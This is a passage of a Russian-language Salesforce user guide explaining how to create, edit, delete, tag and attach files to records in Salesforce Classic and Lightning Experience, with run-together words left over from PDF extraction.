• ЧтобысоздатьзаписьналюбойстраницеSalesforce, выберитенужныйэлементвменюнавигацииищелкните«Создать»
в списковом представлении.

• Чтобы создать запись на странице текущей записи, щелкните «Создать» для нужного элемента. Например, чтобы
создатьпримечаниеприпросмотре записиконтакта, щелкните«Создать» вразделе «Примечания» страницыконтакта.

Создание записи в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Создайте новые записи Salesforce для возможностей, интересов, задач, примечаний,
организацийи контактов. Процесс создания записи идентичен для всех объектов, однако
некоторые объекты (например, организации) отличаются наличием специальных
рекомендаций.

Прим.: Данная информация относится к Salesforce Classic. Если вверху экрана
имеется ряд вкладок, вынаходитесь в Salesforce Classic. Если слева находитсяпанель
навигации, вы в Lightning Experience.

Способ создания записей определяется текущими настройками организации Salesforce.

Создание записей на вкладках объектов

Создание записей в лентах

Создание записей посредством раскрывающегося списка «Создать...»

Создание записей посредством области «Быстрое создание»
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Создание записей на вкладках объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания записей:
• «Создание» для нужного

объекта

Прежде чем создать запись, просмотрите все рекомендации по использованию
создаваемого типа записи.

1. Откройтевкладкудлянужноготипа записи. Открытаявкладкаотображаетначальную
страницу выбранного объекта. Например, чтобы создать организацию, откройте
вкладку «Организации».

2. Нажмите кнопку «Создать».

3. При необходимости выберите тип записи.

4. Введите значения в поля. Обязательные поля помечены красной чертой ( ).

Совет: ИнтерактивнаясправкаSalesforceсодержитопределенияполейосновных
объектов. Название соответствующегораздела справкисостоитиз слова «поля»
иимениобъекта. Например, чтобыпросмотретьопределениераскрывающегося
списка «Отрасль», доступногоприсозданииилиредактированииорганизации,
найдите раздел интерактивной справки «Поля организаций».

5. Введите значенияновойзаписиинажмитекнопку «Сохранить». Чтобысохранить текущуюзаписьидобавитьновую,
нажмитекнопку «Сохранитьисоздать». Закрытиестраницыбезнажатиякнопки «Сохранить»инициируетудаление
всех внесенных изменений.

СМ. ТАКЖЕ:

Создание записей в лентах

Создание записей посредством области «Быстрое создание»

Создание записей

Создание записей в лентах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания записей:
• «Создание» для нужного

объекта

В зависимости от текущих настроек организации Salesforce, записи могут быть созданы
в ленте на начальной странице, вкладке Chatter и страницах сведений о записях.
Публикаторы разных лент могут содержать разные действия. Чтобы получить
дополнительную информацию о действиях, доступных в каждой ленте, обратитесь к
администратору. Прежде чем создать запись, просмотрите все рекомендации по
использованию создаваемого типа записи.

1. Щелкнитебыстроедействие, соответствующеесоздаваемому типу записи, внужной
ленте.

2. Введите значения в поля. Обязательные поля помечены красной чертой ( ).
Интерактивная справка Salesforce содержит определения полей основных объектов.
Названиесоответствующегоразделасправкисостоитизслова «поля» иимениобъекта.
Например, чтобы просмотреть определение раскрывающегося списка «Отрасль»,
доступного при создании или редактировании организации, найдите раздел
интерактивной справки «Поля организаций».

3. Введите значения новой записи и нажмите кнопку «Создать».

Ниже перечислены области отображения элемента ленты для созданной записи.

• В ленте, использованной для создания записи.

• Вверху ленты новой записи.
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• В ленте Chatter.

• Вленте Chatter любогопользователя, отслеживающегозапись, использованнуюдлясозданияновойзаписи. Например,
если контакт создается на странице сведений об организации ABC Industries, то элемент ленты для созданной записи
контакта будет доступен всем пользователям, отслеживающим организацию ABC Industries.

СМ. ТАКЖЕ:

Создание записей на вкладках объектов

Создание записей посредством области «Быстрое создание»

Создание записей

Общие сведения о лентах

Создание записей посредством раскрывающегося списка «Создать...»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные параметры
раскрывающегося списка
«Создать...» определяются
полномочиями
пользователя, используемой
версией Salesforce и
выбранным приложением.

Раскрывающийсясписок «Создать...», доступныйнабоковойпанели, позволяет создавать
записи. Чтобы создать запись посредством раскрывающегося списка, выполните
указанные ниже действия.

1. Выберите нужный тип записи. Страница создания записи открывается на
соответствующейвкладке. Привыборепункта «Файл»открывается диалоговоеокно
«Загрузить файл».

2. Заполните поля.

3. Нажмите кнопку «Сохранить». При выборе пункта «Файл» нажмите кнопку
«Загрузить в моифайлы».

Создание записей посредством области «Быстрое создание»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания записей:
• «Создание» для нужного

объекта

Если функция быстрого создания включена администратором, то записи интересов,
организаций, контактов и возможностей могут быть созданы на соответствующих
начальных страницах. Кроме того, организации могут быть созданы посредством поля
поиска «Организация» при использовании области «Быстрое создание» для создания
контактов, интересов или возможностей. Правила проверки не применяются при
создании записей посредством области «Быстрое создание».

1. Откройте вкладку для нужного типа записи. Чтобы создать организацию при

создании контакта, интереса или возможности, щелкните значок напротив
поля «Организация» в используемойформе «Быстрое создание».

2. Введите значения в поля. Обязательные поля помечены красной чертой ( ).
Интерактивная справка Salesforce содержит определения полей основных объектов.
Названиесоответствующегоразделасправкисостоитизслова «поля» иимениобъекта.
Например, чтобы просмотреть определение раскрывающегося списка «Отрасль»,
доступного при создании или редактировании организации, найдите раздел
интерактивной справки «Поля организаций».
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3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание записей на вкладках объектов

Создание записей в лентах

Создание записей

Редактирование записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
записей:
• «Правка» для нужного

объекта

1. Просмотрите все рекомендации по использованию редактируемого типа записи.
Данные сведения доступны в интерактивной справке Salesforce.

2. Найдите и откройте нужную запись.

3. Нажмите кнопку «Правка».

4. Введите или измените значения в полях.

Совет: ИнтерактивнаясправкаSalesforceсодержитопределенияполейосновных
объектов. Название соответствующегораздела справкисостоитиз слова «поля»
иимениобъекта. Например, чтобыпросмотретьопределениераскрывающегося
списка «Отрасль», доступногоприсозданииилиредактированииорганизации,
найдите раздел интерактивной справки «Поля организаций».

5. Введите или измените нужные значения и нажмите кнопку «Сохранить».

Изменение типа записи
Типы записей определяют значения раскрывающегося списка, доступные при
создании и редактировании записи. При создании записи можно выбрать тип записи, если доступны разные типы
записей и вы не установили предпочтения типа записи, чтобы пропустить страницу выбора типа записи.

Редактирование полей в Salesforce

МногиеобъектыSalesforce, включаянастраиваемые, поддерживаютвозможностьвстроенногоредактированиязаписей.

Рекомендации по редактированию записей посредством встроенного редактора

Редактирование записей в расширенных списках

СМ. ТАКЖЕ:

Создание записей

Рекомендации по вводу валют, дат, времени и номеров телефонов

Рекомендации по редактированию записей посредством встроенного редактора

Редактирование записей в расширенных списках

Создание примечаний и их добавление к записям

Вложение файлов в записи

Проверка орфографии
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Изменение типа записи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Типызаписейопределяютзначенияраскрывающегося списка, доступныеприсоздании
и редактировании записи. При создании записи можно выбрать тип записи, если
доступны разные типы записей и вы не установили предпочтения типа записи, чтобы
пропустить страницу выбора типа записи.

Редактирование полей в Salesforce
Многие объекты Salesforce, включая настраиваемые, поддерживают возможность встроенного редактирования записей.

Редактирование полей с записями с помощью встроенного редактора Salesforce Classic

Пользователи могут редактировать поля с записями для многих объектов Salesforce (в том числе настраиваемых),
которые поддерживают возможность встроенного редактирования записей.

Редактирование полей с записями с помощью встроенного редактора Lightning Experience

Встроенное редактирование ускоряет процесс обновления записей. На вкладке «Сведения» торговый представитель
может открывать записи для редактирования и обновлять несколько полей одновременно.

Редактирование полей с записями с помощью встроенного редактора Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
записей:
• «Редактирование» для

нужного объекта

Пользователи могут редактировать поля с записями для многих объектов Salesforce (в
том числе настраиваемых), которые поддерживают возможность встроенного
редактирования записей.

Совет: Встроенное редактирование поддерживается только некоторыми полями
некоторых объектов. При наведении указателя мыши на поле, доступное для
встроенного редактирования, отображается значок карандаша ( ).

1. Дваждыщелкните нужное поле при создании или редактировании записи. Поле,

поддерживающее возможность поиска, помечается значком лупы ( ).

2. Введитенужноезначениеиливоспользуйтесьфункциейпоиска. Принеобходимости
щелкните значок отмены ( ) или удалите введенное значение.

3. Нажмите кнопку «Сохранить».
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Редактирование полей с записями с помощью встроенного редактора Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Встроенное редактирование ускоряет процесс обновления записей. На вкладке
«Сведения» торговый представитель может открывать записи для редактирования и
обновлять несколько полей одновременно.

Дваждыщелкните поле илинажмите на значок редактирования рядом с ним. Запись
откроется в режиме редактирования.

Для быстрого редактирования можно воспользоваться клавишами быстрого доступа.

• Чтобы перейти до следующего поля в записи, нажмите клавишу Tab.

• Чтобы вернуться к исходному значку предыдущего поля, нажмите Shift + Tab.

• Чтобы отменить сделанные изменения в поле, нажмите Enter на исходном значке.

• Чтобы вернуть все сделанные изменения в записи, нажмите Esc для перехода к отмене, а затем нажмите Enter.

• Для сохранения два раза подряд нажмите Enter.
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Ниже приведены дополнительные преимущества встроенного редактирования Lightning Experience.

• Торговые представители могут переходить по странице во время редактирования записи. При этом можно
переключаться на ленту Chatter и обратно, не теряя сделанных изменений.

• Еслиторговыйпредставительпытаетсяперейтинадругуюстраницуиливдругойобозреватель, несохранивсделанные
изменения, высветится предупреждение.

• Сообщения об ошибке отображаются в окне в нижней части страницы. Чтобы его скрыть, можнощелкнуть при
прокручивании длинной записи.

Прим.: Встроенное редактирование работает только при редактировании сведений о записи. Скоро оно будет
доступно для списковых представлений и панели основных показателей.
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Рекомендации по редактированию записей посредством встроенного редактора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Параметры встроенного
редактирования доступны в
версиях: все версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
функции встроенного
редактирования:
• «Редактирование» для

объекта

Советы по сохранению встроенных правок
• Чтобы подтвердить внесенное изменение, установите курсор в область

редактирования поля и нажмите клавишу Enter.

• Чтобы сохранить все правки, внесенные в запись, нажмите клавишу Enter, при
условии, что поля не используются в режиме редактирования.

Ограничения
• Функция встроенного редактирования недоступна в:

– Режим доступности

– Страницы настройки

– Панели мониторинга

– Клиентский портал

– Описания HTML-решений

• Встроенное редактирование недоступно для перечисленных ниже стандартных
флажков на страницах редактирования сведений об обращениях или интересах.

– Назначение обращения («Назначить с помощью активных правил назначения»)

– Электронное уведомление об обращении («Отправить электронное уведомление контакту»)

– Назначение интереса («Назначить с помощью активного правила назначения»)

• Ниже перечислены поля стандартных объектов, которые не поддерживаютфункцию встроенного редактирования.

– Все поля документов и прайс-листов

– Все поля задач, кроме полей «Тема» и «Комментарий»

– Все поля событий, кроме полей «Тема», «Описание» и «Расположение»

– Поле «Полное имя» для контактов, интересов и организаций-лиц. Однако данная функция поддерживается их
составными полями (например, «Личное имя» и «Фамилия»).

• Встроенное редактирование может использоваться для изменения значений полей записей, доступных только для
чтения, посредством параметров безопасности поля или модели общего доступа организации. Однако, система
Salesforceпрепятствуетсохранениюизменений, априпопыткесохранениязаписиотображаетсообщениеоботсутствии
необходимых полномочий.

Специальные случаи
• Функция встроенного редактирования доступна на страницах сведений для всех редактируемых полей страниц

редактирования, кроме некоторых полей задач, событий, прайс-листов и документов. Чтобы изменить данные поля,
откройте страницу редактирования записи, измените значение нужного поля и нажмите кнопку «Сохранить». В
таблиценижеперечисленыобъекты, некоторыеполякоторыхограниченыдлявстроенногоредактирования. Просмотр
некоторых полей доступен только при наличии специальных полномочий.
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ПоляОбъект

Все поля, кроме полей с областьюподробного текста, доступны для редактирования.Все объекты

Все поля доступны для редактирования, кроме полей ниже, которые доступны для
редактирования только на страницах сведений (не в списковых представлениях).

Возможности

– Стоимость

– Этап

– Категория прогноза

– Количество

Все поля доступны для редактирования, кроме поля «Статус интереса», которое
доступно для редактирования только на страницах сведений (не в списковых
представлениях).

Интересы

Все поля доступны для редактирования, кроме поля «Статус обращения», которое
доступно для редактирования только на страницах сведений (не в списковых
представлениях).

Обращения

Все поля доступны для редактирования, кроме поля «Статус контракта», которое
доступно для редактирования только на страницах сведений (не в списковых
представлениях).

Контракты

Редактирование доступно только для следующих полей:События

– Описание

– Расположение

– Тема

– Тип

– Настраиваемые поля

Редактирование доступно только для следующих полей:Задачи

– Тип вызова

– Описание

– Тема

– Тип

– Настраиваемые поля

Поля недоступны для редактирования.Документы

Поля недоступны для редактирования.Прайс-листы
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Редактирование записей в расширенных списках

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
функции встроенного
редактирования в
расширенном списке:
• «Пакетное

редактирование
списков»

Еслиорганизацияподдерживаетфункциювстроенногоредактированияирасширенные
списки, то записи могут редактироваться прямо в списках. При наведении указателя
мыши на редактируемые ячейки отображается значок карандаша ( ), а на
нередактируемые — значок замка ( ).

Внимание: Если поле записи одновременно редактируется несколькими
пользователями в расширенных списковых представлениях, то система сохраняет
изменения, внесенные последними; сообщение о конфликте не отображается.

Пользователисполномочием «Пакетноередактированиесписков» могутодновременно
изменятьзначенияобщихполейнеболее 200 записей. Продуктыдолжныредактироваться
по отдельности.

Чтобы изменить одну запись в списке, выполните указанные ниже действия.

1. Дваждыщелкните редактируемую ячейку в списке.

2. Введите нужное значение.

3. Нажмите кнопку «OK».

Чтобы изменить несколько записей в списке, выполните указанные ниже действия.

1. Установитефлажкинапротивнужныхзаписей. Принеобходимостивыберитезаписи
на разных страницах.

2. Дваждыщелкните одну из нужных ячеек. Примените внесенное изменение к одной или ко всем выбранным записям.

Ошибки, возникающие при обновлении записей, инициируют отображение окна консоли, содержащего имя каждой
проблемной записи (если известно) и описание ошибки. Чтобы открыть страницу сведений о записи в новом окне,
щелкните нужную запись в окне консоли.

Прим.: Чтобыпросмотреть консоль ошибок, рекомендуем отключить блокировку всплывающихокон для домена
Salesforce.

Советы по использованию функции встроенного редактирования в списках
• Некоторые стандартные поля не поддерживают функцию встроенного редактирования. Например, поля «Статус

обращения», «Этап возможности», «Стоимость возможности», «Объем возможности» и «Статус интереса», а также
поля задачи событий, могут редактироваться толькона странице сведенийо записи. Дополнительнуюинформацию
см. в разделе «Рекомендации по редактированию записей посредством встроенного редактора» на странице 164.

• Если организация использует типы записей, то встроенное редактирование в списках доступно только в том случае,
если все записи списка относятся к одному типу. Рекомендуем добавитьфильтр «"Тип записи" равно "X"», где X —
это имя отдельного типа записи (или пустое поле для основного типа записи).

• Если критерий фильтрации спискового представления содержит условие «ИЛИ», то функция встроенного
редактирования не может использоваться в расширенном списке.

• Чтобывоспользоватьсяфункциейвстроенногоредактированияв спискахдействий, введитедополнительныйфильтр
«"Задача" равно "Истина"»  (для задач) или «"Задача" равно "Ложь"»  (для событий).

• При использовании организаций-лиц:

– Списки контактов не поддерживают встроенное редактирование организаций-лиц. Встроенное редактирование
организаций-лиц поддерживается только списками организаций.
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– Чтобы воспользоваться функцией встроенного редактирования в списках контактов, связанных с
организациями-компаниями, введитедополнительныйфильтр «"Является организацией-лицом" РАВНО "Ложь"».

Удаление записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления записей:
• «Удаление» для нужного

объекта

Удаление записей — это стандартная процедура для большинства пользователей
Salesforce. Удаление одной записи некоторых типов объектов инициирует удаление
других связанных записей. Например, удаление организацииили контакта инициирует
удаление всех связанных активов.

1. Просмотритепоследствия удалениянужного типа записи (приихналичии). Данные
сведения доступны в интерактивной справке Salesforce.

2. Найдите и откройте нужную запись.

3. Нажмите кнопку «Удалить».

СМ. ТАКЖЕ:

Использование корзины

Удаление примечаний и вложений из записей

Вложение файлов в записи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для вложения файлов в
записи:
• «Редактирование» для

объекта

Файлы (например, документы Microsoft® Office, PDF-документы Adobe®, изображения и
видеофайлы) могут быть вложены во многие записи Salesforce. Максимальный размер
вложенного файла составляет 25 Мб (при добавлении прямо в связанный список),
включая файлы, вложенные в решение.Общий максимальный размер всех файлов,
вложенных в сообщение эл. почты, составляет 25 Мб; размер одного файла не должен
превышать 5 Мб.

1. Откройте запись.

2. Нажмите кнопку «Вложитьфайл».

3. Чтобы найти нужныйфайл, нажмите кнопку «Обзор...».

4. Чтобы загрузить файл, нажмите кнопку «Вложитьфайл».

5. По завершении нажмите кнопку «Готово».

Прим.:

• Файл, вложенный в ленту Chatter записи, добавляется в связанный список
«Примечания и вложения» в качестве вложения ленты. Максимальный размер
файла, вложенного в ленту Chatter, составляет 2 Гб.

• Привключениипараметрабезопасности «Запретить загрузку HTML-файлов
в качестве вложений или записей документов» система не позволяет
загружатьфайлы со следующимирасширениями: .htm, .html, .htt, .htx,
.mhtm, .mhtml, .shtm, .shtml, .acgi, .svg.
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Темы для записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Темы — это слова илифразы, которыемогут быть назначены записям Salesforce с целью
ихсистематизациипообщимтематикам. Темыпозволяютобъединять записипообщей
тематике, а затем фильтровать списковые представления.

Если включена поддержка Chatter, то записи по теме также отображаются на вкладке
«Записи» страницы сведений о теме. Например, записи организаций, участвующих в
конференции, могут быть дополнены темой «Конференция 2014». Затем данная тема
может использоваться для фильтрации спискового представления организаций или
(при включенной поддержке Chatter) просмотра всех организаций на вкладке «Записи»
страницы сведений о теме «Конференция 2014».

Ниже приведен пример страницы сведений о теме, где вкладка «Записи» отображает связанные организации. (Вкладка
«Записи» отображается только после добавления темы в записи.)

Администраторымогутвключитьтемыдляорганизаций, активов, кампаний, обращений, контактов, контрактов, интересов,
возможностей, заказов, решений, настраиваемыхобъектовистатейна английскомязыке. Темымогутбыть такжевключены
для задач и событий, они недоступны посредством списковых представлений или вкладки «Записи».

Прим.: Темы поддерживаются только по статьям базы знаний на английском языке.

Добавление тем в записи
Рекомендуем добавлять темы для быстрой систематизации записей по общим тематикам, извлечения записей в
списковыхпредставленияхи (привключеннойподдержкеChatter) просмотра записейна страницах сведенийо темах.

Удаление тем из записей
При необходимости удалите тему из записи.

СМ. ТАКЖЕ:

Добавление тем в записи
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Добавление тем в записи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления тем в
запись:
• «Чтение» и

«Редактирование» для
записи

И

«Назначение тем» для
добавления текущих тем

ИЛИ

«Создание тем» для
добавления новых тем

Рекомендуемдобавлять темыдлябыстройсистематизациизаписейпообщимтематикам,
извлечениязаписейвсписковыхпредставленияхи (привключеннойподдержкеChatter)
просмотра записей на страницах сведений о темах.

Темы могут быть добавлены в записи отдельного объекта только после включения тем
для объектов.

Прим.: Все имена тем являются общедоступными и отображаются в результатах
поиска; данная особенность не влияет на доступность записей, содержащих темы.

1. Щелкните ссылку «Щелкните для добавления тем» под именем записи вверху
страницы сведений о записи. Если запись уже содержит темы, щелкните ссылку
«Темы».

Если организация использует макеты на основе ленты, щелкните ссылку «Добавить темы» на боковой панели
представления ленты.
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2. Начните вводить текст в редакторе тем. По мере ввода выберите одну из предложенных тем или продолжите ввод
для создания собственной уникальной темы. Чтобы добавить несколько тем, введите темы через запятую.

Запятые и закрывающие квадратные скобки автоматически завершают ввод темы. Использование других знаков
препинания, символов и разделителей в именах тем разрешено.

Записи могут содержать не более 100 тем.

3. По завершении нажмите кнопку «Готово» или клавишу Enter.

Принеобходимостивоспользуйтесьдобавленнымитемамидляфильтрациисписковыхпредставлений. Еслиорганизация
поддерживает Chatter, то темы, добавленные в записи, становятся ссылками на страницы сведений о темах, где связанные
записи отображаются на вкладке «Записи». (Обратите внимание, что сообщения Chatter, публикуемые для записи, не
добавляются в темы записи автоматически; темы должны быть добавлены в сообщения вручную.)

СМ. ТАКЖЕ:

Создание настраиваемых списковых представлений в Salesforce Classic

Удаление тем из записей

170

Темы для записейОсновы Salesforce



Удаление тем из записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления тем из записи:
• «Чтение» и

«Редактирование» для
записи

И

«Назначение тем»

При необходимости удалите тему из записи.

Удаление тем не инициирует их необратимого удаления. Прежде чем удалить тему из
записи, определите, кем она была добавлена. Темы могут использоваться другим
пользователем для отслеживания записи.

1. Щелкните ссылку «Темы» вверху страницы сведений о записи.

2. Щелкните значок напротив нужной темы.

3. Нажмите кнопку «Готово» или клавишу ENTER.

Удалениетемыиззаписиинициируетудалениезаписиизвсехсписковыхпредставлений,
использующих данную тему в качестве фильтра. Если включена поддержка Chatter, то
запись также удаляется со вкладки «Записи» страницы сведений о теме.

Теги в записях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Теги — это словаиликороткиефразы, которыемогутбытьназначенызаписям Salesforce
с целью индивидуального описания и структурирования данных. Теги позволяют
объединять записи разных объектов по темам или использованию, а затем выполнять
быстрый и удобный поиск нужных сведений.

Например, всемконтактамиинтересам, созданнымврезультате участия в конференции,
можно присвоить тег «Конференция 2011». Чтобы извлечь нужные записи, найдите тег
«Конференция 2011» и выберите его имя в результатах поиска.

Система Salesforce поддерживает два типа тегов.

• Личные теги — это теги, предназначенные для индивидуального использования.
Личные теги доступны только тем пользователям, которые добавили их в запись.

• Общедоступныетеги — этотеги, доступныевсемпользователяморганизации. Общедоступныетегимогутпросматриваться
всеми пользователями, имеющими доступ к соответствующей записи.

Администраторможетвключитьличныеиобщедоступныетегидляорганизаций, действий, активов, кампаний, обращений,
контактов, контрактов, панелей мониторинга, документов, событий, интересов, примечаний, возможностей, отчетов,
решений, задач и любых настраиваемых объектов. Ниже перечислены действия, доступные пользователям в результате
включения тегов.

• Присвоение тегов записям

• Удаление тегов из записи

• Просмотр, поиск и управление тегами

Прим.: Включение тем для объекта инициирует отключение общедоступных тегов для данного объекта. Личные
теги не изменяются.

Присвоение тегов записям
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Удаление тегов из записей

Просмотр, поиск и управление тегами

Просмотр недавно использованных тегов

Присвоение тегов записям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования тегов
записи:
• «Чтение» для записи

Для переименования или
удаления общедоступных
тегов:
• «Менеджер тегов»

1. Щелкните ссылку «Добавить теги» в верхнем правом углу страницы сведений о
записи. При наличии связанных тегов щелкните ссылку «Редактировать теги».

2. Введите нужные теги через запятую в текстовое поле «Личные теги» или
«Общедоступные теги». Тегимогут содержать толькобуквы, цифры, пробелы, тире
и символы подчеркивания; теги должны содержать как минимум одну букву или
цифру.

При вводе новых тегов автоматически отображаются не более 10 тегов, которые уже
были заданы пользователем. По мере ввода отображаются только те теги, которые
соответствуют указанному префиксу. Чтобы выбрать предложенный вариант,
щелкните нужный тег или воспользуйтесь клавишами со стрелками и подтвердите
сделанный выбор клавишей TAB или ENTER.

3. Нажмите кнопку «Сохранить».

Совет: Присозданииилиредактированиитеговнажмитеклавишу ENTER, чтобы
сохранить внесенные изменения. В противном случае нажмите клавишу ESC.

Прим.: Количество личныхи общедоступных тегов, которое может быть создано
иназначено записям, ограничено. Припревышении установленныхограничений
новые теги не сохраняются во всех версиях. При достижении ограничения
рекомендуем удалить редко используемые теги на странице «Теги».

СМ. ТАКЖЕ:

Теги в записях

Удаление тегов из записей
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Удаление тегов из записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования тегов
записи:
• «Чтение» для записи

1. Щелкнитессылку «Редактироватьтеги» в верхнемправомуглу страницысведений
о записи.

2. Чтобы удалить тег, щелкните значок [X] напротив нужного тега в текстовом поле
«Личные теги» или «Общедоступные теги».

3. Нажмите кнопку «Сохранить».

Совет: Присозданииилиредактированиитеговнажмитеклавишу ENTER, чтобы
сохранить внесенные изменения. В противном случае нажмите клавишу ESC.

Удаление последнего экземпляра тега приводит к полному удалению данного тега из
организации. Еслитегиспользуетсядругимизаписями, тоонотображается врезультатах
поиска и на странице «Теги».

Просмотр, поиск и управление тегами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переименования или
удаления общедоступных
тегов:
• «Менеджер тегов»

Чтобыоткрыть страницу «Теги», щелкнитеимялюбоготегана страницесведений. Если
теги добавлены администратором на боковую панель, щелкните ссылку «Теги» на
боковой панели.

Ниже перечислены действия, доступные на данной странице.

• Просмотр и поиск тегов

• Поиск записей по тегам

• Поиск тегов

• Переименование и удаление тегов

• Просмотр статистики использования личных тегов

Просмотр и поиск тегов
Чтобыограничитьилирасширитьсписковоепредставление, воспользуйтесьфлажками
«Личные теги» и «Общедоступные теги». Личные теги предназначены для
индивидуального использования, поэтому отображаются только собственные личные
теги, тогда как общедоступные теги отображаются без ограничений.

Чтобыпросмотреть теги, которыеначинаютсясопределеннойбуквы, выберитенужнуюбукву вверхуобластипросмотра
тегов, либо щелкните ссылку «Следующая страница» или «Предыдущая страница».

По умолчанию теги отображаются в алфавитном порядке. Чтобы отсортировать теги по количеству соответствующих
записей, выберите критерий «По частоте использования» в раскрывающемся списке «Сортировать». Чтобы
отсортировать теги по времени их назначения, выберите критерий «Понедавнему использованию».

Поиск записей по тегам
Чтобы просмотреть список записей, организованных по объекту, щелкните имя нужного тега. Количество связанных
записей отображается напротив тега. Чтобы уточнить результаты поиска, выберите дополнительные теги. При выборе
нескольких тегов отображаются только те записи, которые соответствуют всем выбранным тегам. Чтобы удалить тег из
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фильтра, щелкните значок [X] напротив нужного тега. Чтобы удалить все теги и повторить поиск, щелкните ссылку
«Очистить выбранные теги».

Прим.:

• Внекоторыхслучаяхколичествозаписей, связанныхстегом, можетпревышатьколичествозаписей, отображаемых
привыбореданноготегана странице «Теги». Возможныепричины: присвоениетега записиипотеряполномочия
на ее просмотр ввиду изменения правил общего доступа или назначение недоступной записи как минимум
одного общедоступного тега.

• Результаты поиска и страница «Теги» не отображают настраиваемые объекты без связанной с ними вкладки
даже в том случае, если настраиваемые объекты поддерживают использование тегов.

Пользователи могут настроить столбцы и параметрыфильтрации результатов поиска.

Поиск тегов
Введите критериив текстовоеполе «Поиск тегов» инажмитекнопку «Поиск». Вобластипросмотраотображаются только
те теги, которые соответствуют заданным критериям поиска. Чтобы просмотреть записи, связанные с тегом, щелкните
имя нужного тега.

Поисковые запросы должны содержать не менее двух символов и допускают использование специальных символов и
операторов.

Последние результаты поиска сохраняются в области просмотра тегов напротив алфавита в верхней части страницы.
Чтобы просмотреть результаты, щелкните поисковый запрос.

Переименование и удаление тегов
• Чтобы переименовать тег, наведите указатель мыши на нужный тег и выберите пункт «Переименовать» в

раскрывающемся меню. Введите новое имя тега в текстовое поле и нажмите кнопку «Сохранить».

• Чтобы удалить тег, наведите указатель мыши на нужный тег и выберите пункт «Удалить» в раскрывающемся меню.
В этом случае тег удаляется из всех записей организации и перемещается в корзину.

Тег, восстановленный из корзины, автоматически связывается со всеми записями, из которых был удален.
Дополнительную информацию см. в разделе «Использование корзины» на странице 211.

Пользователь может переименовать или удалить любой личный тег, но переименование или удаление общедоступного
тега может быть выполнено только при наличии полномочия «Менеджер тегов».

Просмотр статистики использования личных тегов
Щелкните ссылку «Использование личных тегов» в верхнем правом углу. Данная страница отображает текущее
количество уникальныхличных тегов ипримененийличных тегов.Нижеперечисленыограничения, установленныедля
отдельного пользователя.

• 500 уникальных личных тегов

• 5 000 экземпляров личных тегов, примененных к записям

Если количество личных тегов приближается к установленным ограничениям, рекомендуем объединить похожие теги
путем их переименования. Например, теги «Велоспорт», «Велосипедная езда» и «Велосипедный спорт» могут быть
переименованы в тег «Велоспорт», что позволит сократить количество уникальных личных тегов.

Чтобы сократить количество экземпляров тегов, примененных к записям, удалите личные теги, которые больше не
используются.
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Просмотр недавно использованных тегов
Ссылка «Теги» и раскрывающийся список «Недавние теги», доступные на боковой панели, позволяют просматривать
теги и получать доступ к недавно использованным тегам.

• Чтобы просмотреть, найти или изменить доступные теги, щелкните ссылку «Теги».

• Чтобы просмотреть все записи, помеченные определенным тегом, выберите нужный тег в раскрывающемся списке
«Недавние теги». Данный список содержит теги, использовавшиеся для присвоения записям последними.

Проверка орфографии

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Если организация поддерживает функцию проверки орфографии, то некоторые
компоненты, основанные на вводе текста (например, сообщения эл. почты, события,
задачи, обращения, примечания и решения) могут быть проверены на наличие
орфографических ошибок.

Функция проверки орфографии поддерживает не все языки, используемые в системе
Salesforce. Например, функцияпроверкиорфографиинеподдерживаеттайскийирусский
